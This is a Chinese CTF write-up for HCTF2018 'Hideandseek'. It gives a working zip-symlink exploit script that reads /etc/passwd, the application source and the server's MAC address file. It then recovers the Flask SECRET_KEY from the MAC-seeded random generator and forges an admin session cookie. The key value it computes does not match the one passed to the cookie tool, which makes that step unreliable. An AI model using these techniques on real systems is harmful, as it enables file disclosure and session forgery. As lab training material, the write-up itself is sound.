[HCTF2018]Hideandseek

image-20241117202323906

登陆进去是一个文件上传的页面,但是是上传zip文件,上传文件之后好像会解析内容,进行文件读取,可以想一下zip软链接,用/etc/passwd试一下

1
2
ln -s /etc/passwd 321
zip -y 111.zip 321

上传生成的zip文件得到回显

进行部分修改后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import requests
import sys


def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')


def run():
make_zip()
res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
print(res.text)

os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')

if __name__ == '__main__':
run()

运行命令:

运行命令:

1
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/uwsgi.ini

得到内容:

可以看到其源码应是/app/main.py,使用EXP尝试读取源码:

1
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/main.py

得到其源码:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

开始有些疑惑,但在查阅了大佬wp后,发现应该是这道题小bug,原题中的main.py文件应在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py路径下,而本题也是,使用写好的EXP读取:

1
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

得到回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)

if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)

这次读取的才是真正的main.py源码
不对全部的源码进行分析了,直接查找所需的SECRET_KEY的值发现:

1
app.config['SECRET_KEY'] = str(random.random()*100)

其对SECRET_KEY做了random随机处理,但random生成的随机数都是伪随机数,有一定的规律。
发现了其中:

1
random.seed(uuid.getnode())

random.seed()方法改变随机数生成器的种子,Python之random.seed()用法
uuid.getnode()方法以48位正整数形式获取硬件地址,也就是服务器的MAC地址

若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:

1
python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /sys/class/net/eth0/address

得到其十六进制所表示的MAC地址:

通过Python3将其转换为十进制:

1
2
3
4
5
6
7
8
mac = "02:42:ac:10:8e:10".split(":")
#转成十进制
mac_int = [int(i, 16) for i in mac]
#转成二进制
mac_bin = [bin(i).replace('0b', '').zfill(8) for i in mac_int]
#转成整数
mac_dec = int("".join(mac_bin), 2)
print(mac_dec)

运行运行
种子值得到2485377863184,编写Python构造SECRET_KEY的值:

1
2
3
4
5
import random

random.seed(2485377863184)
SECRET_KEY = str(random.random() * 100)
print(SECRET_KEY)

运行
运行后,得到SECRET_KEY的值为:74.28774432740572,使用flask-session-cookie-manager构造Session:

1
python3 flask_session_cookie_manager3.py encode -s "50.98160837138328" -t "{'username': 'admin'}"

运行后,得到加密的Session:

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZzndHQ.kI_BgtAh87MUz4vU4W8o7oyoVu8

在F12中的Application中替换:

刷新后,成功以admin身份登陆,得到flag:
image-20241117203753620

参考链接:https://blog.csdn.net/weixin_44037296/article/details/112475051